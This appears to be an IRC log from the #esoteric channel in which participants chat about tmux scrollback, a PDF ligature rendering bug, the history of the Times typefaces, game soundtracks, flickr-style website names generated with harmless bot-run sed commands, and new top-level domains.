PRIVMSG #esoteric :Not sure they have anything to do with each other < 1394399286 314541 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :*capture < 1394399478 953157 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover JOIN :#esoteric < 1394399929 219969 :ais523!~ais523@unaffiliated/ais523 QUIT : < 1394399936 923821 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :elliott: ok it was just ^B then PgUp and PgDn work until you press q < 1394399987 797029 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :or to be precise, it's ^B PgUp etc. < 1394400084 986122 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :so now i don't need to be so careful with shell output. < 1394400140 32593 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :(the man page was confusing enough that i had to google for a superuser.com explanation, though :P) < 1394400182 276885 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :I always just use the copy mode when I want to try screen scrollback. < 1394400214 318727 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :fizzie: afaiu ^B PgUp is an abbreviation for ^B [ PgUp, where the first part enters copy mode < 1394400230 319360 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :oerjan: Was this screen or tmux? < 1394400234 85433 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :tmux < 1394400246 856787 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Hokay. Screen doesn't seem to have that shortcut. < 1394400611 957901 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :Isn't chrome supposed to use one process per tab? < 1394400634 222249 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :According to the task manager thing in chrome, some (unrelated) tabs are sharing currently < 1394400724 202333 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Oh good, now both evince and zathura have stopped rendering ligatures. This makes reading the C standard so fun. < 1394400739 593703 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :"For each type quali er in the list, ident is a so-quali ed pointer." < 1394400770 991406 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :"If the de nition of an object has an alignment speci er, --" < 1394400776 74273 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :fizzie, whaaat < 1394400780 244359 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :that is a strange bug < 1394400782 448232 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :which distro < 1394400796 166416 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :Maybe you should use gimp to rasterize it instead? ;P < 1394400799 689054 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :"An alignment attribute shall not be speci ed in a declaration of a typedef, or a bit- eld, --" < 1394400806 430495 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :The bit-elds. < 1394400810 975050 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Also, Debian. < 1394400825 806743 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :Stable? < 1394400826 761731 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :Huh < 1394400849 865378 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Well, no, not quite. < 1394400856 808887 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :sid? < 1394400861 552873 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :I think so. < 1394400869 976038 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :Well, what did you expect?! < 1394400885 197673 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :To be entirely honest, I expected it to work, since it almost always does. < 1394400890 39845 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :Heh < 1394401058 405035 :AnotherTest!~turingcom@94-224-19-125.access.telenet.be QUIT :Ping timeout: 240 seconds < 1394401111 203104 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :(Both viewers render with Poppler, so at least it makes sense for them to share the bug.) < 1394401229 673973 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :https://bugs.freedesktop.org/show_bug.cgi?id=73291 -- I guess people are looking at it. < 1394401318 37907 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :(Curious to get this TeXGyre font as a replacement for Times.) < 1394401619 477893 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :fizzie, huh? A PDF without the font embedded? < 1394401677 386808 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :N1570 does not embed "Times". < 1394401706 671461 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :http://sprunge.us/YRKb < 1394401946 70090 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :Hrrm < 1394401960 720757 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :fizzie, I guess you could install real Times? < 1394401967 72369 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :Should probably fix it < 1394401994 783095 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :fizzie, probably corefonts < 1394402017 751285 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :If you mean the Microsoft font, that's Times New Roman, and I've got it installed. < 1394402029 900315 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :Oh okay, I thought it included Times too < 1394402061 295724 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :Times /is/ New Roman < 1394402079 710749 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :elliott, pretty sure Times and Times New Roman are different fonts? < 1394402088 83833 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :Otherwise that is rather confusing < 1394402111 886403 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :I'm addicted to wathcing Antichamber videos < 1394402117 598729 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Even though it ruins the game experience < 1394402118 785766 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :"Times Roman, and its licensees like Adobe and Apple, is the font family used by Linotype. Times New Roman, and its licensees like Microsoft, is licensed from Monotype. Linotype classifies Times Roman as the upright (Roman) font of the Times family." < 1394402126 649691 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :Sgeo, have you played the game yet? < 1394402130 458511 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :If not, do so first < 1394402144 570454 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :Vorpal: if talking about the actual typefaces, "Times" is shorthand for "Times New Roman". cf. http://en.wikipedia.org/wiki/Times_Roman < 1394402154 563981 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Vorpal: I've played some of it a while ago but haven't finished it < 1394402161 857186 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :elliott, hm < 1394402166 323492 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :elliott: not only. Times can mean the somewhat similar font by Adobe, or other fonts < 1394402180 554055 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :The PDF is probably talking about the family, though. At least I would think so. < 1394402191 744221 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :But yeah, I started watching videos with the full realization that it would spoil the rest of the game < 1394402194 908452 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :elliott, so is Times Roman and Times New Roman the same as well? < 1394402199 997600 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :Now I'm really confused < 1394402218 414123 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :playing things? sounds hard < 1394402220 822304 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Anyway, I'm sure Times New Roman would be a better replacement for "Times" in this PDF than one where all the ligatures are named differently. < 1394402231 29442 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :Vorpal: it's not confusing. < 1394402237 669753 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :Oh? < 1394402251 366696 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :http://en.wikipedia.org/wiki/Roman_type < 1394402257 805405 :not^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net JOIN :#esoteric < 1394402263 665142 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :Times New Roman is "the new Roman typeface for the Times" < 1394402275 580522 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :it is understandably often shortened to just Times < 1394402284 723411 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :and your quote explains "Times Roman". < 1394402307 303067 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :elliott, so that is then the only difference between Times Roman and Times New Roman? Okay then I get it < 1394402404 816662 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :there is no difference. it's just names. < 1394402418 773373 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :I mean, you can contrast saying "Times Roman" vs. "Times Italic" or something. < 1394402440 266931 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :Fair enough < 1394402483 769468 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net QUIT :Ping timeout: 252 seconds < 1394402563 926517 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :elliott, huh, guess not: < 1394402566 474991 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :"Although Times and Times New Roman are variations on a theme from the Times family, various differences developed between the versions marketed by Linotype and Monotype when the master fonts were transferred from metal to photo and digital media. For example, Linotype has slanted serifs on the capital S, while Monotype's are vertical, and the addition of a serif on the number 5[8] in Linotype's that is < 1394402566 673560 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric : absent in Monotype's." < 1394402585 470569 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :Most of them invisible at normal size and distance though < 1394402587 71543 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :Oh well < 1394402641 866540 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :"Microsoft's version of Times New Roman licensed from Monotype matches the widths from the Adobe/Linotype version (a PostScript core font by Linotype). It has the lighter capitals that were originally developed for printing German (where all nouns begin with a capital letter). Versions of Times New Roman from Monotype exist which vary from the Linotype metrics (i.e. not the same as the version for Micro < 1394402642 69387 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :soft)." < 1394402651 528742 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :Okay this is starting to get rather complicated :P < 1394402706 122657 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :As for why fontconfig prefers TeX Gyre Termes, seems that fonts-texgyre installs a /etc/fonts/conf.d/30-fonts-texgyre-aliases.conf that aliases "Times" to it in such a way that it's preferred over the other, more exhaustive listings. < 1394402724 843377 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :fizzie, so I guess locally patch that? < 1394402730 998898 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Guess so. < 1394402758 689685 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :(Mind you, it is supposed to be a "Times" replacement.) < 1394402888 593673 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Yay, ligatures. (Changed it with a ~/.config/fontconfig/fonts.conf rule.) < 1394402994 194967 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Fontconfig configuration is silly-complicated, though. < 1394403320 604221 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Vorpal: would you happen to know where the Antichamber music is stored? < 1394403335 462144 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :I want to listen to the music of a part of the game (that I haven't reached myself) < 1394403490 986713 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :Sgeo, eh, nope < 1394403502 585456 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :fizzie, also xml < 1394403608 358213 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :Sgeo, just play the game first to avoid spoilers? You will thank yourself for it later < 1394403619 658220 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Vorpal: too late < 1394403641 529045 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Antichamber soundtrack is in Spotify, if that helps? (It probably doesn't.) < 1394403644 548121 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :that was stupid then? < 1394403644 885313 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :At any rate, I think I did get through most of the game before < 1394403650 445474 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Amusingly many game soundtracks seem to be there. < 1394403656 729086 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :fizzie, huh < 1394403677 491604 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :Maybe I should get spotify then? Except I want to listen to it on the go mostly < 1394403679 366890 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :I've listened to the Super Meat Boy soundtrack from there. < 1394403685 215721 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :So that would mean premium or whatever < 1394403695 231476 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :Also mobile data < 1394403706 110535 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :It's "sorta-free" on mobile these days, except quite limited. < 1394403726 264795 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :Oh? okay < 1394403741 502889 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :On devices classified as tablets, it's identical to the desktop version (so ads but otherwise full-featured); on devices classified as phones it's... something more complicated. < 1394403751 845135 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :You can only listen to precreated playlists on shuffle, or something like that. < 1394403759 763943 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :That is stupid < 1394403767 802572 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :(Also no offline mode.) < 1394403782 991666 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Black Tile < 1394403788 176191 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :http://siddharthabarnhoorn.bandcamp.com/album/antichamber < 1394403834 576304 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Quite a lot are in Bandcamp too, that's true. < 1394403859 595837 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :yeah I get a lot of music from bandcamp these days < 1394403872 136832 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :That or loudr < 1394403885 784401 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Homestuck music is all on Bandcamp, so < 1394403920 151492 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :Hm < 1394403935 146905 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Daft Punk should whip up an "Internet age" song they'd call "Hardr, Bettr, Fastr, Strongr". < 1394403936 965234 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :Antichamber is mostly ambient right? < 1394403946 379019 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :Hah < 1394403993 146253 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Approximately 22200 people have made that joke before, I see. < 1394404038 679155 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :fizzie, I assume they made a song called that but spelled properly? < 1394404058 310127 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Yes. < 1394404063 43038 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :Okay < 1394404088 546495 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Though apparently in 2001, I thought it was older than that. < 1394404090 551842 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :Yeah it appears to be ambient < 1394404161 989971 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Can't seem to find a Wikipedia category or list article for "websites named like that". < 1394404303 967764 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :(Just an answers.com article with 132 examples.) < 1394404317 364281 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :fizzie, wow? Really? < 1394404326 336013 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :http://sprunge.us/BfRL there you go < 1394404340 568190 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :Why... < 1394404349 536593 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :I thought loudr was a bit silly anyway < 1394404363 19661 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :but calcr on that list? That doesn't even make any sense < 1394404381 871181 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :It's a calculator. < 1394404391 940851 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :.... Right < 1394404395 527470 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :"powered by instacalc". < 1394404399 729607 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :dotcomr? < 1394404413 295128 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Possibly a site for automatically generating more sites named like that. < 1394404420 506963 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :hah < 1394404434 646360 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :why this silly trend? < 1394404445 897413 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :Also loudr isn't listed < 1394404471 584189 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Perhaps it's newer than the answer. < 1394404480 253694 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Is there DVD video player which can tell you the values of each registers and allow you to manually adjust them? < 1394404487 678684 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Some I can't quite guess from the name. Like "gickr". (Which turned out to be a website for making animated gifs.) < 1394404497 344264 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :(And that can enable/disable UOP support) < 1394404735 721254 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :idon'tevenknowr < 1394404740 498600 :FireFly!~firefly@oftn/member/FireFly PRIVMSG #esoteric :`run sed -n '/er$/s/er$/r.com/p' /usr/share/dict/words | shuf -n 1 < 1394404741 70592 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :sed: can't read /usr/share/dict/words: No such file or directory < 1394404819 519865 :FireFly!~firefly@oftn/member/FireFly PRIVMSG #esoteric :Hmm, some of these might not work very well... 'youngstr', 'yawnr', 'zookeepr' < 1394404868 427261 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :`run words 10000 | tr ' ' '\n' | sed -n '/er$/s/er$/r.com/p' < 1394404869 913137 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :tackr.com < 1394404877 69417 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :`run words 10000 | tr ' ' '\n' | sed -n '/er$/s/er$/r.com/p' < 1394404878 540957 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :No output. < 1394404879 711299 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :`run words 10000 | tr ' ' '\n' | sed -n '/er$/s/er$/r.com/p' < 1394404881 147806 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :pr.com \ origir.com \ hundr.com < 1394404902 764740 :FireFly!~firefly@oftn/member/FireFly PRIVMSG #esoteric :Maybe skip the .com < 1394404904 867010 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Funnily enough, the one I got in query was "nigr.com". Way to be PC there, HackEgo. < 1394404938 507977 :FireFly!~firefly@oftn/member/FireFly PRIVMSG #esoteric :the gr$ ones could even use a Greek TLD domain-hack < 1394405002 406412 :FireFly!~firefly@oftn/member/FireFly PRIVMSG #esoteric :Oh, I guess /p actually only applies if a substitution occurred. Makes sense < 1394405002 962565 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Flickr owns flic.kr, I think. < 1394405024 367159 :FireFly!~firefly@oftn/member/FireFly PRIVMSG #esoteric :`run words 10000 | tr ' ' '\n' | sed -n 's/er$/r/p' < 1394405025 848449 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :No output. < 1394405030 729818 :FireFly!~firefly@oftn/member/FireFly PRIVMSG #esoteric :`run words 10000 | tr ' ' '\n' | sed -n 's/er$/r/p' < 1394405032 224583 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :immr < 1394405092 40856 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :They've also applied for the .flickr TLD, I see. < 1394405110 617345 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Prioritization number 1697, so not going to be delegated all that soon. < 1394405139 672278 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Why do they require a TLD? < 1394405154 181343 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :So that nobody else can register it, I suppose. < 1394405159 192824 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Also for "branding". < 1394405176 140822 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :O, OK, if that is what they have to do so that nobody else can register it < 1394405185 746174 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :It still isn't very sensible < 1394405247 990855 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :I don't quite remember the exact rules for the ICANN gTLD program; it's possible they had at least a bit more trademarks-and-so checks than regular domain names. < 1394405277 381479 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :So perhaps Yahoo is in fact the only one able to register .flickr, and they don't need to do it just for that reason. < 1394405316 460091 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :There should be a TLD called .ipv4 which takes whatever comes before and then ignores the IPv6 addresses associated with them (so that the domain "example.org.ipv4" will make a IPv4 connection even on IPv6 computers, for example). < 1394405384 300667 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :If there aren't any IPv4 addresses associated, then the TCP/IP driver should make up a private IP address to connect through so that programs that don't support IPv6 can still connect. < 1394405441 750507 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :I don't know if they would ever actuall register such a thing if requested, though. < 1394405444 876362 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :zzo38, except tcp4 and tcp6 are not the same < 1394405454 255686 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :So that could be messy < 1394405498 377777 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Vorpal: Yes, it can use IPv4 addresses if they exist but if there aren't any then the DNS server returns no response, and then TCP/IP driver makes up its own DNS respose and tries to convert as best it can. < 1394405555 537791 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :I guess it could proxy it? Anyway I guess the only really big difference is how the TCP checksum is calculated < 1394405557 347276 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :And then the TLD called .usb can be used for connecting to local USB ports on your computer. < 1394405573 835402 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Vorpal: Yes, it would proxy it, converting whatever is difference, in best way it can. < 1394405574 757989 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :I seem to recall someone registered .USB. < 1394405585 964967 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :zzo38, no that should be a prototocol, like usb+whatever:// < 1394405599 442448 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Also I think some of the many IPv6 transition mechanisms do DNS tricks. < 1394405635 693595 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :Hm < 1394405639 673209 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Huh, no applications matching USB. Must've misremembered. < 1394405644 70951 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Vorpal: But you still need some kind of IP address, that you can access it using programs that use internet connection. < 1394405651 829115 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :It shouldn't be a URI scheme < 1394405658 616182 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :That wouldn't help anyways. < 1394405701 46282 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Rather something like "9p://disk.usb/" can be a URL. < 1394405714 383304 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :They have delegated .xyz already, I see. < 1394405732 288476 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :fizzie, to what? < 1394405736 233244 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :gTLD or ccTLD? < 1394405747 887157 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :gTLD. I don't think there are three-letter ccTLDs. < 1394405761 588853 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :And to "XYZ.COM, LLC", of course. < 1394405773 783380 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :"Prior to our domain extension application for .xyz we received interest from visitors who wanted to register .xyz.com subdomains and pay for premium @xyz.com email addresses. The market clearly demanded a new generic top level domain and .xyz was it." < 1394405776 841590 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :The whole gTLD thing is pretty silly < 1394405777 792067 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Clearly. < 1394405791 772703 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :I take it you're not registering a vorpal.guru domain, then? < 1394405800 973657 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :fizzie, no not really < 1394405813 61996 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :There's a http://vim.sexy/ already. < 1394405818 883786 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :fizzie, I don't own any domain names at all < 1394405825 286141 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :They allowed .sexy? Heh < 1394405829 81092 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Yes it is silly although there are better ways to do it, which they do not do anyways < 1394405853 661843 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :"Sign up now for a chance to get an early-access invite for Vim today. < 1394405854 945907 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Don't make the cut? Guess you aren't ready for a next-level editor experience." < 1394405860 129678 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :(It's a parody thing.) < 1394405884 252457 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :fizzie, I think all you need is ccTLDs and some common ones like .com and .org. And .net is way to vague in what qualifies < 1394405932 840905 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :Also .edu and .gov should go, they shouldn't be US-specific < 1394405944 898338 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :And .mil? < 1394405947 399452 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :Or they should be removed entirely < 1394405956 346217 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :fizzie, oh yeah forgot about that one, same for it obviously < 1394405981 656648 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :I agree you don't really need any of those new ones like .flickr and so on; it is completely silly. However, things like .ipv4 and .uucp and so on can be useful things to add on. < 1394405996 249089 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :What on earth is .uucp? < 1394405999 926143 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Vorpal: Governments would be country-specific anyways < 1394406022 817203 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Vorpal: Access a UUCP address using internet domain names. < 1394406027 954482 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :Hm < 1394406058 439340 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :At least there's no application for .onion yet. < 1394406064 990985 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :That'd so irritate the Tor folks. < 1394406076 777476 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :Haha < 1394406157 425281 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :I think they also opted not to allow anyone to register .local. < 1394406194 824845 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :It should have application for TLDs which are specified as not used with global DNS, or otherwise are reserved or special in some ways other than normal registration of domain names. These would include .local and .onion and .ipv4 for example. < 1394406201 998765 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :As well as .example and .invalid. < 1394406209 28858 